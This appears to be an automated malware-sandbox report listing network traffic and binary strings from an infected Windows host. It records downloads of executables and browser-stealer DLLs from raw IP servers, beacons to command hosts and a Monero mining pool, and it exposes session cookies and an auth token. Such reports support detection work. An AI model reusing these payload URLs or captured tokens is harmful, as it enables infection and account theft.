Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&MUID=198A1722808E649629FA026B848E627A HTTP/1.1Host: c1.microsoft.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; SM=T; MUID=198A1722808E649629FA026B848E627A
Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&MUID=198A1722808E649629FA026B848E627A HTTP/1.1Host: c1.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; MUID=198A1722808E649629FA026B848E627A; SM=C; SRM_I=198A1722808E649629FA026B848E627A; MR=0; ANONCHK=0
Source: global traffic	HTTP traffic detected: GET /client/config?cc=GB&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {9A18632D-0E0D-4CA4-9A0A-9577C1FFEAFA}X-UserAgeClass: UnknownX-BM-Market: GBX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -300X-DeviceID: 0100A45C090094CAX-BM-WindowsFlights: RS:B4BC,FX:117B9872,FX:119E26AD,FX:11A8C293,FX:11A8C2FE,FX:11C0E96C,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:11F1992A,FX:11F4161E,FX:11F41B68,FX:11FB0F2F,FX:1201B330,FX:1202B7FC,FX:120BB68E,FX:121A20E1,FX:121BF15F,FX:121E5EC8,FX:122B3A5C,FX:122D8E86,FX:123031A3,FX:1231B88B,FX:123371B1,FX:1233C945,FX:123D7C31,FX:1240013C,FX:1240931B,FX:1246E4A3,FX:1248306D,FX:124B38D0,FX:1250080B,FX:125A7FDA,FX:1264FA75,FX:126DBC22,FX:127159BE,FX:12769734,FX:127C935B,FX:127DC03A,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12EC0B54,FX:12F0AC91,FX:12FF5D3C,FX:13143E2F,FX:13214552,FX:13283A3B,FX:133A07C7,FX:133BFFE3,FX:13404069,FX:134128A5,FX:1342B470X-Search-TimeZone: Bias=300; StandardBias=0; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Agent-DeviceId: 0100A45C090094CAX-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAUbt4i%2B3XolCIGY7ubsHgh1o7cuDEPolV9QaNfcx%2BCS9ygNFjTN6UsSwzEe2kT3UIJ6JiFtugvZNtP1WnMshcob/lBuJYxcTsY26fwlNbTrYkYs9YrnLddzWUbXai3N0ffvfRTFWu9fRLubTNC9XGNn8/rYoDg4hJS%2Be2RMmC9nj1F3CQWLUHecHbeVVLmP4hPObAEqSdwmO6rzwljhxIs6DIA5qePkCemAtq92YRvH4x7kcRd2qqk3GprMgYfxrOZ1mwzuXw6UoQBgazeTQlzOm54OGwdUF%2Byu5TvOsvHcWwOxCI%2Bl7%2BfPWFNl4okUhbKlJYtY3mPQ9lk3QgGzIyboQZgAAEKYJCaVLtSpgJ8Vhl5veZQ2wAc99K/2u5Rk9CBuuwLv3PX6Uk24XteeIz978lWwpBWUOeeia7OG6NpESjagDAJzssoNvCenRTSsHIukaKDOIXrK8Uu8/zu0ecdkKFPRc82FUQUJAquVvsDRdd5kflE4O/rq8tjllvnx7L4p5YVaVQygoKBtsqRGdLDG/yI4y0wNedlTOBawvrtcwIMuw1m8vVNoFQtypTFZbWwjQy8TbdS147BfrUQERrc2JwVwymcmpfZ61aC0lQgdjRw7kLJL7pDJhCiUETpEX7vhTtIzH%2BqPiP09sHJspyACdBV/2kJrA8fyr0JBBD%2BRZRagcp4MJVoWLAm%2BtS0DBd8ISWkZK0H00GweXuq5IV2Plgl6DA3tKaxFr7Zw32EJALVmIpH2SWclfVFHBqOjbloGtDpodrYv58CvK1eat/CKKOwC9BcW6Y6VJjYflan/BDgbcchEnE%2B94dXvwqj2IBBZ/FEBfzltkj5pUXRaUTjJzUFZKNAzmrdyeM413lYizZXcrJ8/2bbWzOuEEAbaLT3VEcwalDMj1tetHmAI6JnjG24D02Rt3IO4ZrhuCZwwk05h4d3nnWdoB%26p%3DX-BM-CBT: 1733135027User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.2.19041; 10.0.0.0.19042.1165) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042X-Device-isOptin: falseAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 8132DE9B807247ACB5C688208C68AF5EX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=0051B20720A34FFCA45E0D908944BC77&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20241118; SRCHHPGUSR=IPMH=d7475077&IPMID=1733113089087&SRCHLANG=en&LUT=
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
Source: global traffic	HTTP traffic detected: GET /ai/?key=8f3f2b3ab144463b761ae3a5231e72eee7c4db7e40b82a8dcd6c946851e30088893250aa158105633775b0e650f7ba1e9c95b1c92975ccf55bc592f95a818ece02a1b7e2984c57cad7021ddd32271cd3328e HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/7403972632/gU8ND0g.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/6299414420/HRFuUub.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/6299414420/tpZOod0.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub= HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /RrlNvinfLqYZQoxgChZr1732768478?argument=ZCQnAHNfUqr6vEh61733134906 HTTP/1.1Host: home.fvtekx5pt.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: /Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub= HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: c.pki.goog
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: xmr-eu2.nanopool.org
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fvtekx5pt.top
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: fvtekx5pt.top

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19042.0.0; IDCRL-cfg 16.000.29143.3; App svchost.exe, 10.0.19041.546, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4742Host: login.live.com

Source: global traffic	TCP traffic: 192.168.11.20:53589 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:53589 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:53589 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:53589 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:63907 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:63907 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:63907 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:58482 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:58482 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:58482 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:58482 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:59098 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:59098 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:59098 -> 239.255.255.250:1900

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 280Expires: Mon, 02 Dec 2024 10:22:38 GMTDate: Mon, 02 Dec 2024 10:22:38 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733134957.48e9956cAccess-Control-Allow-Headers: Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 280Expires: Mon, 02 Dec 2024 10:23:37 GMTDate: Mon, 02 Dec 2024 10:23:37 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733135017.48ea3026Access-Control-Allow-Headers: Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 280Expires: Mon, 02 Dec 2024 10:23:38 GMTDate: Mon, 02 Dec 2024 10:23:38 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733135017.48ea307cAccess-Control-Allow-Headers: Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 280Expires: Mon, 02 Dec 2024 10:24:37 GMTDate: Mon, 02 Dec 2024 10:24:37 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733135077.48eaab88Access-Control-Allow-Headers: Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 278Expires: Mon, 02 Dec 2024 10:25:38 GMTDate: Mon, 02 Dec 2024 10:25:38 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.1cc1c917.1733135137.20cdc63Access-Control-Allow-Headers: Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 278Expires: Mon, 02 Dec 2024 10:26:38 GMTDate: Mon, 02 Dec 2024 10:26:38 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.1cc1c917.1733135197.20d3443Access-Control-Allow-Headers: Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:

Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: file.exe, 00000000.00000002.1811763144.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1811763144.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1811763144.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 5467ed4ac5.exe, 00000035.00000002.2805133431.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2791227857.000000000073A000.00000004.00000010.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2757323867.0000000005919000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 5467ed4ac5.exe, 00000035.00000002.2805133431.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2757323867.0000000005919000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: 5467ed4ac5.exe, 00000035.00000002.2805133431.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2757323867.0000000005919000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
